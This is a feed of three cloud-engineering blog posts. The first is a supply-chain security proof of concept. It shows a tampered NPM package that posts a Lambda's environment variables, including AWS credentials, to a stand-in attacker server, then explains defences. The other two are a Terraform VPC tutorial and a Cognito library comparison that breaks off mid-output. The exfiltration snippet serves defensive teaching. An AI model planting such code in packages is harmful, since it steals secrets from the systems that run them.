Forem: Max Ivanov

How a compromised NPM package can steal your secrets (POC + prevention)

Max Ivanov — Sat, 17 Apr 2021 20:58:46 +0000

Any decently sized Node.js project depends on multiple 3rd party NPM packages. In turn, each of those may have dependencies as well. Which leaves you with a ton of code that you didn't write, that you don't control and don't have much visibility over during package updates. It may take one compromised package in that dependency graph to steal secrets from your production environment. The package may appear to be vulnerable to code injection or it may get hacked resulting in malicious code added to the package's source code. It happened before and not once, and surely we will see similar incidents in the future.

If such a compromised package gets deployed to the production servers, it may run the attacker's supplied malicious code at some point. One thing that the code can do is collect the information about the environment and send it to the attacker's owned endpoint. In this post we will go over an example of such (manually crafted) compromised package to see how it can be exploited. The environment we will use is Node.js running in AWS Lambda, but the technique applies to other languages and cloud providers as well.

Finally we will see how to make it harder to exploit this type of vulnerability and how to prevent it completely (the cost here is added configuration complexity).

You can find all of the examples in the article repository, each example contains a snippet of code and Terraform scripts to deploy it to AWS.

Compromised package

Imagine your application uses an external package. Let's say it's a super complex implementation of a sum(a, b) function - naive but sufficient for the demo purposes:

async function sum(a, b) {
  return a + b
}

module.exports = {
  sum,
}

The package got hacked. Maybe author's NPM credentials were stolen and new version of the package containing malicous code was published:

const phoneHomeUrl = 'https://attacker-owned-server'

async function sum(a, b) {
  await post(phoneHomeUrl, process.env)

  return originalSum(a, b)
}

async function originalSum(a, b) {
  return a + b
}

async function post(url, data) {
  ...
}

module.exports = {
  sum,
}

In addition to performing the calculations the package was already doing, the code was added to post the environment variables to the attacker's server. Normally if you install the compromised package, you wouldn't even know it's phoning home since it still performs its function.

Source for the compromised package.

Phone-home listener

I've implemented the collecting endpoint with AWS Lambda. It simply dumps all incoming request details to Cloudwatch, where we can inspect them later.

exports.handler = async (event) => {
  console.log('Got call home! Event: ', event)

  const response = {
    status: 'OK',
  }

  return response
}

Source for the phone home listener.

Vulnerable app example

Now here's our vulnerable app that uses the compromised package. Again, it's a Lambda function that generates two random numbers and calls the package's sum to get the result, which is returned to the function caller.

The function uses a secret MY_SECRET, which could be a connection string for the database defined as an environment variable in plain text.

const { sum } = require('compromised-npm-package')

exports.handler = async () => {
  const secretFromEnv = process.env.MY_SECRET

  // use the secret somehow... we'll just log it
  console.log('secretFromEnv', secretFromEnv)

  const a = randomInteger(1, 100)
  const b = randomInteger(1, 100)
  const result = await sum(a, b)

  const response = {
    a,
    b,
    result,
  }

  return response
}

function randomInteger(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min
}

If we invoke this function through the AWS CLI:

root@bf12d39e866c:/var/app/vulnerable-app# aws lambda invoke --function-name leak-env-vars-poc-lambda-function out.txt
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

It will call the compromised package's sum() function which in turn will send process.env to the catch-all HTTP endpoint. Looking at the Cloudwatch logs of the listener function we will see the secret from the vulnerable function:

But not only that! In fact it captures the temporary AWS credentials of the Lambda function as well. If you're curious how the full dump of Node.js environment variables looks like:

{
  "AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
  "AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjEKD//////////wEaCXVzLWVhc3QtMSJIMEYCIQCKn...",
  "LAMBDA_TASK_ROOT": "/var/task",
  "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/leak-env-vars-poc-lambda-function",
  "LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
  "AWS_LAMBDA_LOG_STREAM_NAME": "2021/04/14/[$LATEST]629e422565134af5ae33e69a125a2d41",
  "AWS_LAMBDA_RUNTIME_API": "127.0.0.1:9001",
  "AWS_EXECUTION_ENV": "AWS_Lambda_nodejs14.x",
  "AWS_LAMBDA_FUNCTION_NAME": "leak-env-vars-poc-lambda-function",
  "AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2:2000",
  "PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
  "MY_SECRET": "this is my secret value",
  "AWS_DEFAULT_REGION": "us-east-1",
  "PWD": "/var/task",
  "AWS_SECRET_ACCESS_KEY": "9g484jcds9gQcpt6N4QnRj4v4mj8r...",
  "LAMBDA_RUNTIME_DIR": "/var/runtime",
  "LANG": "en_US.UTF-8",
  "AWS_LAMBDA_INITIALIZATION_TYPE": "on-demand",
  "NODE_PATH": "/opt/nodejs/node14/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task",
  "AWS_REGION": "us-east-1",
  "TZ": ":UTC",
  "AWS_ACCESS_KEY_ID": "ASIARV6QASLKD...",
  "SHLVL": "0",
  "_AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2",
  "_AWS_XRAY_DAEMON_PORT": "2000",
  "AWS_XRAY_CONTEXT_MISSING": "LOG_ERROR",
  "_HANDLER": "index.handler",
  "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "128",
  "_X_AMZN_TRACE_ID": "Root=1-60777b72-13a6527d3ff1094a29ae72ca;Parent=77ee64a10c682226;Sampled=0"
}

Prevention: fetch secrets at runtime

One rather simple way to prevent leakage of secrets is to not store them in plain text in environment variables. Rather keep them in AWS Parameter Store (free, limited scaling) or Secrets Manager (pay per secret/month + per every 10k calls). The application would then read the secret value at runtime and keep it in memory for future reuse. Here's how the previous vulnerable example can be adapted:

const { sum } = require('compromised-npm-package')
const AWS = require('aws-sdk')

exports.handler = async () => {
  const secretFromSsm = await fetchSecret(process.env.MY_SECRET_NAME)

  // use the secret somehow... we'll just log it
  console.log('secretFromSsm', secretFromSsm)

  const a = randomInteger(1, 100)
  const b = randomInteger(1, 100)
  const result = await sum(a, b)

  const response = {
    a,
    b,
    result,
  }

  return response
}

function randomInteger(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min
}

async function fetchSecret(name) {
  const ssm = new AWS.SSM({ region: 'us-east-1' })

  const options = {
    Name: name,
    WithDecryption: true,
  }

  const data = await ssm.getParameter(options).promise()

  return data
}

When running the app, it will still post the environment variables to the attacker's server, but it won't include user-provided secrets anymore. It will still include temporary AWS credentials though, so the attacker could use those to fetch the secret from the Parameter Store directly (considering they know the name of the parameter).

What about the exposed AWS credentials? True, anyone who has them can assume the associated IAM role and access the AWS resources. That's why it's critical to always grant only the minimum required permissions to the application IAM roles.

Source code for the upgraded app + Terraform resources to create SSM parameter and grant Lambda access to the parameter: poc repository.

Prevention: block outbound connections

If your application does not need to access the internet, you can block outbound connections altogether. For that you need to put the Lambda in a virtual network (VPC) which has no route out by default.

Application code will not change. Here are the changes you need to make to the infrastructure. Create a VPC, a private subnet and explicitly define a security group. Security group does not have any outbound rules, but even if it did, there's no Internet Gateway associated with the VPC which effectively disables all egress connections.

...

resource "aws_vpc" "vpc" {
  cidr_block = var.vpc_cidr_block
  tags = {
    Name = "${var.project}-vpc"
  }
}

resource "aws_subnet" "subnet_private" {
  vpc_id                  = aws_vpc.vpc.id
  cidr_block              = var.subnet_private_cidr_block
  map_public_ip_on_launch = false
  tags = {
    Name = "${var.project}-subnet-private"
  }
}

resource "aws_default_security_group" "default_security_group" {
  vpc_id = aws_vpc.vpc.id

  ingress {
    protocol  = -1
    self      = true
    from_port = 0
    to_port   = 0
  }

  tags = {
    Name = "${var.project}-default-security-group"
  }
}

Associate the Lambda with the subnet and security group:

...

resource "aws_lambda_function" "lambda_function" {
  ...

  vpc_config {
    subnet_ids         = [aws_subnet.subnet_private.id]
    security_group_ids = [aws_default_security_group.default_security_group.id]
  }
}

With infra changes applied, if you try to run the application it will simply time out at Lambda's configured max execution time, while the malicous code is helplessly waiting to send the environment vars out.

root@bf12d39e866c:/var/app/leak-env-vars-poc-outbound-blocked/terraform# aws lambda invoke --function-name leak-env-vars-poc-outbound-blocked-lambda-function out.txt
{
    "StatusCode": 200,
    "FunctionError": "Unhandled",
    "ExecutedVersion": "$LATEST"
}

root@bf12d39e866c:/var/app/leak-env-vars-poc-outbound-blocked/terraform# cat out.txt
{"errorMessage":"2021-04-15T21:25:23.784Z 83617d65-31d1-4806-83b0-b5ec75be0e3f Task timed out after 5.01 seconds"}

The secrets won't be leaked. But it also means your app will stop working before you remove the malicous code blocking execution.

Code for the blocked outbound connections example.

Prevention: whitelist outbound connections

But what if your function does make requests to the Internet? You can whitelist the allowed destinations in the security group rules.

Let's say our app depends on this legitimate API:

const { sum } = require('compromised-npm-package')
const https = require('https')

exports.handler = async () => {
  const secretFromEnv = process.env.MY_SECRET

  // use the secret somehow... we'll just log it
  console.log('secretFromEnv', secretFromEnv)

  const randomFactRaw = await fetch('https://api.chucknorris.io/jokes/random')
  const randomFact = JSON.parse(randomFactRaw).value
  console.log('randomFact', randomFact)

  const a = randomInteger(1, 100)
  const b = randomInteger(1, 100)
  const result = await sum(a, b)

  const response = {
    a,
    b,
    result,
    randomFact,
  }

  return response
}

async function fetch(url) {
  ...
}

Let's find out the IP addresses of the API:

And whitelist them in the security group:

...

resource "aws_default_security_group" "default_security_group" {
  vpc_id = aws_vpc.vpc.id

  ingress {
    protocol  = -1
    self      = true
    from_port = 0
    to_port   = 0
  }

  egress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["104.21.4.135/32", "172.67.132.31/32"]
  }

  tags = {
    Name = "${var.project}-default-security-group"
  }
}

To enable outbound network access for the Lambda, a number of resources will need to be added: Internet Gateway, NAT Gateway, route tables. This is out of the scope of this post, and you may want to check Deploy AWS Lambda to VPC with Terraform.

With app code updated and network resources deployed, if we invoke the application function it will still hang (since the malicous code blocks) but from the logs we can see that the request to the whitelisted API succeeded:

Full code for the whitelisted destinations app.

References

...

To summarize, keep your applications safe:

apply least privilege principle when granting IAM permissions
do not store secrets in plain text in environment variables
block or whitelist inbound and outbound network access
analyze npm dependencies for known vulnerabilities with npm audit and tools like snyk before they find their way to your servers

If you like this type of content you can follow me on Twitter for the latest updates.

Deploy AWS Lambda to VPC with Terraform

Max Ivanov — Sun, 11 Apr 2021 00:39:43 +0000

You may need to put your Lambda function into a VPC (Virtual Private Cloud) for the function to have access to the resources in the private network. Common use case is accessing an RDS instance not reachable from the Internet.

Running Lambda in a VPC has some downsides:

Networking limitations at scale. There are soft and hard limits to the number of ENIs (virtual network cards) shared by compute instances that you can have.
Much more complex setup compared to the standard "managed" Lambda configuration.

Check this article by Yan Cui for more details. There used to be an issue of slower cold starts for Lambdas connected to VPCs, but it's not the case anymore.

Considering the large number of AWS resources one needs to create and configre to have Lambda in a private subnet, getting it right may be challenging, especially if you're not a network engineer. It surely took me some time to figure out.

Many tutorials on the Internet describe the process using AWS Console to provision resources. It may be sufficient for quick experiments but for something more long-term you should probably invest some time in defining resources with infrastructure-as-code.
If Terraform is what you use, this post may be useful to you.

We'll go from a basic, non-VPC Lambda Terraform module and will upgrade it to run the function in a VPC with oubound (Internet) connectivity, one step at a time.

Prerequisites

To follow along you will need:

Terraform 0.14
AWS Account and AWS CLI

I'll be using Docker below to run both. If you don't have the tools installed locally, you're welcome to do the same.

Note some AWS resources incur costs, most notably NAT Gateway will set you back ~$32/month.

Ground zero

Let's create a standard Lambda function with Terraform and make sure it works first. The function will run a little snippet of Node.js code. Since we want to test the connectivity to the internet, the function will fetch some data from a 3rd party API. For added credibility, we'll integrate with an API providing random Chuck Norris facts (so old but still so good!).

When Chuck Norris enters a room, he doesn't turn the lights on, he turns the dark off.

Lambda code

const https = require('https')

exports.handler = async function () {
  const res = await fetch('https://api.chucknorris.io/jokes/random')
  const randomFact = JSON.parse(res).value

  return randomFact
}

async function fetch(url) {
  return new Promise((resolve, reject) => {
    const request = https.get(url, { timeout: 1000 }, (res) => {
      if (res.statusCode < 200 || res.statusCode > 299) {
        return reject(new Error(`HTTP status code ${res.statusCode}`))
      }

      const body = []
      res.on('data', (chunk) => body.push(chunk))
      res.on('end', () => {
        const resString = Buffer.concat(body).toString()
        resolve(resString)
      })
    })

    request.on('error', (err) => reject(err))
    request.on('timeout', (err) => {
      console.log('timed out', err)
      reject(err)
    })
  })
}

The code is straightforward - it fetches a random fact from the API and returns it to the caller.

To make it simple, I didn't want to add any dependencies and used native https Node module for making requests.

Lambda Terraform module

We start with couple variables: project will be used as a prefix in resource names and region is where the resources will be deployed.

# terraform/variables.tf

variable "project" {
  type        = string
  description = "Project name"
}

variable "region" {
  type        = string
  description = "Azure region"
  default     = "us-east-1"
}

If you ever deployed Lambda with Terraform, there shouldn't be any surprises. The minimum set of resources includes an IAM role with managed AWSLambdaBasicExecutionRole policy attached, the function itself, and the archive with the code to be uploaded to Lambda. Every time you make a change in the code, the hash of the ZIP file will change and Lambda code will be updated by Terraform. In the real world, you'll probably want to configure a CI/CD pipeline to push code updates to Lambda.

# terraform/main.tf

provider "aws" {
  profile = "default"
  region  = var.region
}

provider "archive" {}

data "archive_file" "lambda" {
  type        = "zip"
  source_dir  = "../lambda"
  output_path = "lambda.zip"
}

data "aws_iam_policy_document" "AWSLambdaTrustPolicy" {
  version = "2012-10-17"
  statement {
    actions = ["sts:AssumeRole"]
    effect  = "Allow"
    principals {
      type        = "Service"
      identifiers = ["lambda.amazonaws.com"]
    }
  }
}

resource "aws_iam_role" "iam_role" {
  assume_role_policy = data.aws_iam_policy_document.AWSLambdaTrustPolicy.json
  name               = "${var.project}-iam-role-lambda-trigger"
}

resource "aws_iam_role_policy_attachment" "iam_role_policy_attachment_lambda_basic_execution" {
  role       = aws_iam_role.iam_role.name
  policy_arn = "arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole"
}

resource "aws_lambda_function" "lambda_function" {
  code_signing_config_arn = ""
  description             = ""
  filename                = data.archive_file.lambda.output_path
  function_name           = "${var.project}-lambda-function"
  role                    = aws_iam_role.iam_role.arn
  handler                 = "index.handler"
  runtime                 = "nodejs14.x"
  source_code_hash        = filebase64sha256(data.archive_file.lambda.output_path)
}

Deploy ground zero to AWS

Start a dev Docker container based on the AWS CLI image:

docker run --rm -it -v $(pwd):/var/app -w /var/app --entrypoint bash amazon/aws-cli

Configure AWS credentials (access key ID, secret access key) that will be used by Terraform below:

aws configure

Install Terraform:

yum install -y yum-utils

yum-config-manager --add-repo https://rpm.releases.hashicorp.com/AmazonLinux/hashicorp.repo

yum -y install terraform

Deploy the module:

cd terraform

terraform init

terraform apply

Make sure Lambda works:

aws lambda invoke --function-name lambda-vpc-tf-lambda-function out.txt
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

cat out.txt
"If you spell Chuck Norris in Scrabble, you win. Forever."

VPC resources

Be prepared, there will be many resources. Still Terraform helps a lot, if you were to check equivalent config in Cloudformation, it's more verbose!

On a high level, we will create a new VPC with 2 subnets. One is public (has a route to the Internet) and the other is private (does not have direct route out). The way to connect Lambda to VPC is by associating it with at least one private subnet. That would give the function access to the resources in the VPC. But it won't have oubound connectivity yet. For that, a NAT component is required.

Create VPC

Every AWS account has a default VPC pre-created. You can use that, but let's see how to create one.

The only required argument is the address space of the virtual network (in CIDR format).

# terraform/variables.tf

...

variable "vpc_cidr_block" {
  type        = string
  description = "VPC CIDR"
}

I'll go with vpc_cidr_block = "10.0.0.0/16" spanning 65,536 IP addresses.

# terraform/main.tf

...

resource "aws_vpc" "vpc" {
  cidr_block = var.vpc_cidr_block
  tags = {
    Name = "${var.project}-vpc"
  }
}

Quick note on the Name tag. More often than not, there's no "name" property on the VPC Terraform resources themselves, but if you add a Name tag it serves the same purpose. The value will be used in the AWS Console in the Name column.

Create public subnet

Besides the subnet itself, we'll create a number of supporting resources too.

Public subnet

# terraform/variables.tf

...

variable "subnet_public_cidr_block" {
  type        = string
  description = "Public subnet CIDR"
}

# terraform/terraform.tfvars

...

subnet_public_cidr_block  = "10.0.0.0/21"

# terraform/main.tf

...

resource "aws_subnet" "subnet_public" {
  vpc_id                  = aws_vpc.vpc.id
  cidr_block              = var.subnet_public_cidr_block
  map_public_ip_on_launch = true
  tags = {
    Name = "${var.project}-subnet-public"
  }
}

Internet Gateway

Each VPC can be associated with one (and only one) Internet Gateway. It is a managed highly available service from AWS which provides connectivity for public IP-enabled instances in the VPC to the Internet.

# terraform/main.tf

...

resource "aws_internet_gateway" "internet_gateway" {
  vpc_id = aws_vpc.vpc.id

  tags = {
    Name = "${var.project}-internet-gateway"
  }
}

Public route table

What makes a public subnet public is a route to the Internet Gateway. Let's do just that, create a new route table with a single route (rule) to direct network requests to the Internet Gateway. We then associate the (public) route table with the (public) subnet. There's an implicit route allowing traffic within the VPC.

# terraform/main.tf

...

resource "aws_route_table" "route_table_public" {
  vpc_id = aws_vpc.vpc.id

  route {
    cidr_block = "0.0.0.0/0"
    gateway_id = aws_internet_gateway.internet_gateway.id
  }

  tags = {
    Name = "${var.project}-route-table-public"
  }
}

resource "aws_route_table_association" "route_table_association_public" {
  subnet_id      = aws_subnet.subnet_public.id
  route_table_id = aws_route_table.route_table_public.id
}

Elastic IP and NAT Gateway

NAT Gateway is a network device that enables outbound connectivity for devices in the private network. Gateway translates requests from a private subnet to the Internet (by replacing the private "from" IP of the sender with gateway's public IP and putting it back to deliver the response to the sender). The relationship here is one to many - one NAT device serves many clients in the private subnet. NAT device must have a public IP address (Elastic IP in our case) and must be placed in the public subnet where it can reach the Internet.

Before AWS introduced NAT Gateway one could launch an EC2 instance with NAT configured. That's still a valid (and cheaper when compared to NAT Gateway) option, but you'd need to look after the instance (disk space, OS and security upgrades, etc.). NAT Gateway price varies depending on the region, cheapest being $0.045/hr as of the time of writing.

For critical workflows, AWS recommends configuring at least 2 NAT gateways placed in different availability zones to avoid single point of failure in case of AZ going down. To keep it simple, we'll create only a single gateway.

# terraform/main.tf

...

resource "aws_eip" "eip" {
  vpc        = true
  depends_on = [aws_internet_gateway.internet_gateway]
  tags = {
    Name = "${var.project}-eip"
  }
}

# terraform/main.tf

...

resource "aws_nat_gateway" "nat_gateway" {
  allocation_id = aws_eip.eip.id
  subnet_id     = aws_subnet.subnet_public.id

  tags = {
    Name = "${var.project}-nat-gateway"
  }
}

Create private subnet

Private subnet is what we will associate Lambda with. The address space must be large enough to accomodate all IPs that will be assigned to ENIs when Lambda scales out.

Private subnet

# terraform/variables.tf

...

variable "subnet_private_cidr_block" {
  type        = string
  description = "Private subnet CIDR"
}

# terraform/terraform.tfvars

...

subnet_private_cidr_block = "10.0.8.0/21"

# terraform/main.tf

...

resource "aws_subnet" "subnet_private" {
  vpc_id                  = aws_vpc.vpc.id
  cidr_block              = var.subnet_private_cidr_block
  map_public_ip_on_launch = false
  tags = {
    Name = "${var.project}-subnet-private"
  }
}

Private route table

Like in the public subnet, we need a route table with a route to direct traffic from the subnet to the NAT gateway. By default, devices in subnets within a VPC can talk to each other. In our case, it's Lambda in the private subnet making calls to the NAT Gateway in the public subnet.

# terraform/main.tf

...

resource "aws_route_table" "route_table_private" {
  vpc_id = aws_vpc.vpc.id

  route {
    cidr_block     = "0.0.0.0/0"
    nat_gateway_id = aws_nat_gateway.nat_gateway.id
  }

  tags = {
    Name = "${var.project}-route-table-private"
  }
}

resource "aws_route_table_association" "route_table_association_private" {
  subnet_id      = aws_subnet.subnet_private.id
  route_table_id = aws_route_table.route_table_private.id
}

Create security resources

In VPCs, the security controls available to you are Network Access Control Lists and Security Groups. These 2 are complementary and can be used individually as well as in combination.

NACLs are stateless (for a given connection, you need to specify both inbound and outbound rules) and are associated with subnets.

Security Groups are stateful (allowing inbound traffic to a port will automatically allow replies from that port). You associate devices (EC2 instances, Lambda) with security groups.

Whenever a VPC is created, a NACL and a security group are created implicitly. You can take over these resources with aws_default_... Terraform resources. Ingress and egress rules provided below match what's created by AWS by default.

NACL

As with default settings, it allows all traffic on the network level.

# terraform/main.tf

...

resource "aws_default_network_acl" "default_network_acl" {
  default_network_acl_id = aws_vpc.vpc.default_network_acl_id
  subnet_ids             = [aws_subnet.subnet_public.id, aws_subnet.subnet_private.id]

  ingress {
    protocol   = -1
    rule_no    = 100
    action     = "allow"
    cidr_block = "0.0.0.0/0"
    from_port  = 0
    to_port    = 0
  }

  egress {
    protocol   = -1
    rule_no    = 100
    action     = "allow"
    cidr_block = "0.0.0.0/0"
    from_port  = 0
    to_port    = 0
  }

  tags = {
    Name = "${var.project}-default-network-acl"
  }
}

Security Group

As with the default settings, it allows all outbound traffic and allows inbound traffic originating from the same VPC.

# terraform/main.tf

...

resource "aws_default_security_group" "default_security_group" {
  vpc_id = aws_vpc.vpc.id

  ingress {
    protocol  = -1
    self      = true
    from_port = 0
    to_port   = 0
  }

  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
    # cidr_blocks = ["127.0.0.1/32"]
  }

  tags = {
    Name = "${var.project}-default-security-group"
  }
}

Add Lambda to the VPC

Now that we have the VPC set up we can associate our existing Lambda function with the network. For that, we need to provide the VPC subnet and security group. AWS recommends adding Lambda to at least 2 subnets for high availability. Combined with the recommendation to have multiple NAT gateways, you will need to create additional route tables too, to associate each private subnet with its dedicated NAT Gateway.

VPC access policy

Since Lambda service will need to create ENIs (virtual network cards) in the private subnet, it needs additional IAM permissions. Those can be granted via AWSLambdaVPCAccessExecutionRole managed policy.

If the permission is missing, you will get the error during deployment: Error: error modifying Lambda Function (lambda-vpc-tf-lambda-function) configuration : InvalidParameterValueException: The provided execution role does not have permissions to call CreateNetworkInterface on EC2.

# terraform/main.tf

...

resource "aws_iam_role_policy_attachment" "iam_role_policy_attachment_lambda_vpc_access_execution" {
  role       = aws_iam_role.iam_role.name
  policy_arn = "arn:aws:iam::aws:policy/service-role/AWSLambdaVPCAccessExecutionRole"
}

Lambda function VPC config

We configure Lambda to connect it to the private subnet. Also it will be subject to the Security Group rules.

# terraform/main.tf

...

resource "aws_lambda_function" "lambda_function" {
  ...

  vpc_config {
    subnet_ids         = [aws_subnet.subnet_private.id]
    security_group_ids = [aws_default_security_group.default_security_group.id]
  }
}

To confirm everything is configured correctly, invoke the function again. If you're getting "timed out" error in Cloudwatch, likely something is wrong with the NAT Gateway configuration as the function cannot reach the API.

References

...

VPC configuration may be tricky if you're not a seasoned network professional. As a final note, I recommend this Stack Overflow answer by Michael "sqlbot" which explains private/public subnet concepts really well.

If you like this type of content you can follow me on Twitter for the latest updates.

AWS Cognito: Amplify vs amazon-cognito-identity-js vs AWS SDK

Max Ivanov — Sun, 04 Apr 2021 01:11:36 +0000

Imagine you're starting a new project. You want to leverage existing solutions and cloud infrastructure to move fast. Users should be able to create accounts in the application you're about to build, so you're thinking about a managed user directory. It has to be reliable, secure and scalable. Not something you can build yourself overnight! AWS Cognito is a great service that can help you push the burden to the service provider.

After the first round of planning, you have a good idea of the architecture of the application, including what languages and frameworks will be used. Now you need to decide how you're going to integrate Cognito with your app. There's not one or two ways to do it, there are 3 official code libraries that you can use:

Read on to see how these options compare, what are the limitations and when to use which.

Comparing options

How do you decide which library/package to use? It depends on a few factors:

Are you going to use it in the frontend or in the backend?
On the frontend, will you be using one of the popular frameworks (React/Next.js, Vue.js/Nuxt.js, Angular) or is it something custom / vanilla JS?
Will you need to use secret-enabled app client in Cognito?
Are you going to call Cognito APIs that require AWS developer credentials? E.g. adminCreateUser

We will go through all the options describing their pros/cons. For each library I'll provide a short example of how to use it in the code, both in the frontend and backend. All examples below make an unathenticated signUp Cognito API call.
Additionally, you'll find examples of requests and responses (HTTP headers and bodies as well as data returned in the code). I feel like when you can see all of the details in one place it makes it easier to understand the API.

All code examples use ES6 modules and are written with async/await for asynchronous calls. Callbacks are promisified where necessary. Requests are made against this Cognito User Pool which has 2 app clients: one is public (client secret disabled) and one is private (client secret enabled).

Full code examples can be found in the post's repository.

Amplify

Amplify is an umbrella project for a bunch of services, one of them is authentication (Cognito).

Does Amplify work in the backend? It's a client library, and it's supposed to be used in the browser and mobile applications. Having said that it can work on the backend too, when used in the context of a SSR framework (Next.js/Nuxt.js). But outside of the universal rendering mode you're probably better off using the other 2 options.
On the frontend, it integrates well with major frameworks. It has ready-made, customizeable UI components which make implementing auth-related flows a breeze.
It doesn't support secret-enabled Cognito app clients. "Generate client secret" must be unchecked in the app client settings.
You can use admin-level Cognito APIs, but only inderectly via Admin Actions. The way it works is you'd use Amplify to deploy an API Gateway and a Lambda that implements (essentially proxies) Cognito admin APIs. To limit access, you can restrict access to that Lambda to a specific Cognito group.

When to use Amplify: whenever you're building a client-side application and you need other tools from the Amplify ecosystem (APIs, analytics, storage, etc.). Also it can help you start quickly with premade UI components.

Use Amplify in browser

Here's a basic form that accepts an email and a password and creates a new user in Cognito:

Corresponding JS code (Parcel-bundled):

import Amplify, { Auth } from 'aws-amplify'

Amplify.configure({
  Auth: {
    region: 'us-east-1',
    userPoolId: 'us-east-1_ZPwVcZizN',
    userPoolWebClientId: '658l7npr63jq5ohbk2gl2jvf6',
  },
})

;(async () => {
  const form = document.querySelector('.form')
  const email = document.querySelector('.email')
  const password = document.querySelector('.password')

  form.addEventListener('submit', async (event) => {
    event.preventDefault()

    try {
      const res = await signUp(email.value, password.value)
      console.log('Signup success. Result: ', res)
    } catch (e) {
      console.log('Signup fail. Error: ', e)
    }
  })
})()

async function signUp(email, password) {
  return Auth.signUp({
    username: email,
    password,
    attributes: {
      email,
    },
  })
}

On success, response will be as following (res variable in the code above):

{
  "user": {
    "username": "max@maxivanov.io",
    "pool": {
      "userPoolId": "us-east-1_ZPwVcZizN",
      "clientId": "658l7npr63jq5ohbk2gl2jvf6",
      "client": {
        "endpoint": "https://cognito-idp.us-east-1.amazonaws.com/",
        "fetchOptions": {}
      },
      "advancedSecurityDataCollectionFlag": true,
      "storage": {}
    },
    "Session": null,
    "client": {
      "endpoint": "https://cognito-idp.us-east-1.amazonaws.com/",
      "fetchOptions": {}
    },
    "signInUserSession": null,
    "authenticationFlowType": "USER_SRP_AUTH",
    "storage": {},
    "keyPrefix": "CognitoIdentityServiceProvider.658l7npr63jq5ohbk2gl2jvf6",
    "userDataKey": "CognitoIdentityServiceProvider.658l7npr63jq5ohbk2gl2jvf6.max@maxivanov.io.userData"
  },
  "userConfirmed": false,
  "userSub": "68afb047-37d1-4efc-bc11-26056d1657c8",
  "codeDeliveryDetails": {
    "AttributeName": "email",
    "DeliveryMedium": "EMAIL",
    "Destination": "m***@m***.io"
  }
}

Amplify HTTP request and response headers:

HTTP request body:

{
  "ClientId": "658l7npr63jq5ohbk2gl2jvf6",
  "Username": "max@maxivanov.io",
  "Password": "12345678",
  "UserAttributes": [
    {
      "Name": "email",
      "Value": "max@maxivanov.io"
    }
  ],
  "ValidationData": null
}

HTTP response body:

{
  "CodeDeliveryDetails": {
    "AttributeName": "email",
    "DeliveryMedium": "EMAIL",
    "Destination": "m***@m***.io"
  },
  "UserConfirmed": false,
  "UserSub": "341eeb82-bcf8-4453-aac3-a0f323a7b7dc"
}

amazon-cognito-identity-js

It used to be a standalone library but eventually it migrated to the Amplify project. It is now hosted as a package in the Amplify monorepo. In fact Amplify uses this package to make Cognito API requests. But you can use it without Amplify just fine. It is essentially a nice wrapper around lower-level AWS SDK (note it does not use aws-sdk package, it makes HTTP calls to AWS directly).

Does it work in the backend? Yes, it can work in the Node.js environment.
When used on the frontend, it provides lower level (compared to Amplify) API to make Cognito calls. It won't help with UI scaffolding, it only facilitates communication with the server.
It doesn't support secret-enabled Cognito app clients. "Generate client secret" must be unchecked in the app client settings.
You cannot use admin-level Cognito APIs (those that require AWS credentials) with amazon-cognito-identity-js.

When to use amazon-cognito-identity-js: when you do not need any of the extra features provided by Amplify and you only need to integrate Cognito within your app's custom UI. As a bonus you will probably get a much smaller bundle. You can also use it in the backend but you'd be limited to public Cognito APIs only.

Use amazon-cognito-identity-js in browser

It's the same basic signup form as in the Amplify example.

Corresponding JS code (Parcel-bundled):

import {
  CognitoUserPool,
  CognitoUserAttribute,
} from 'amazon-cognito-identity-js'

import { promisify } from 'util'

;(async () => {
  const form = document.querySelector('.form')
  const email = document.querySelector('.email')
  const password = document.querySelector('.password')

  const userPool = new CognitoUserPool({
    UserPoolId: 'us-east-1_ZPwVcZizN',
    ClientId: '658l7npr63jq5ohbk2gl2jvf6',
  })

  form.addEventListener('submit', async (event) => {
    event.preventDefault()

    try {
      const res = await signUp(userPool, email.value, password.value)
      console.log('Signup success. Result: ', res)
    } catch (e) {
      console.log('Signup fail. Error: ', e)
    }
  })
})()

async function signUp(userPool, email, password) {
  const emailAttribute = new CognitoUserAttribute({
    Name: 'email',
    Value: email,
  })

  let attributes = [emailAttribute]

  const promisifiedSignUp = promisify(userPool.signUp).bind(userPool)

  return promisifiedSignUp(email, password, attributes, null)
}

Result returned by the userPool.signUp as well as HTTP request/response headers and bodies will be the same as in the Amplify example above.

Use amazon-cognito-identity-js on the server

Again, the script will make a call to the signUp Cognito API. The code uses ES6 modules so Node.js 14+ is required.

import {
  CognitoUserPool,
  CognitoUserAttribute,
} from 'amazon-cognito-identity-js'

import { promisify } from 'util'

const userPoolId = 'us-east-1_ZPwVcZizN'
const clientId = '658l7npr63jq5ohbk2gl2jvf6'
const email = 'max@maxivanov.io'
const password = '12345678'

;(async () => {
  const userPool = new CognitoUserPool({
    UserPoolId: userPoolId,
    ClientId: clientId,
  })

  try {
    const res = await signUp(userPool, email, password)
    console.log('Signup success. Result: ', res)
  } catch (e) {
    console.log('Signup fail. Error: ', e)
  }
})()

async function signUp(userPool, email, password) {
  const emailAttribute = new CognitoUserAttribute({
    Name: 'email',
    Value: email,
  })

  let attributes = [emailAttribute]

  const promisifiedSignUp = promisify(userPool.signUp).bind(userPool)

  return promisifiedSignUp(email, password, attributes, null)
}

See the example res variable value in the Amplify section above.

If you try to use amazon-cognito-identity-js with an app client that has Generate client secret enabled, you will get this error:

{
  code: 'NotAuthorizedException',
  name: 'NotAuthorizedException',
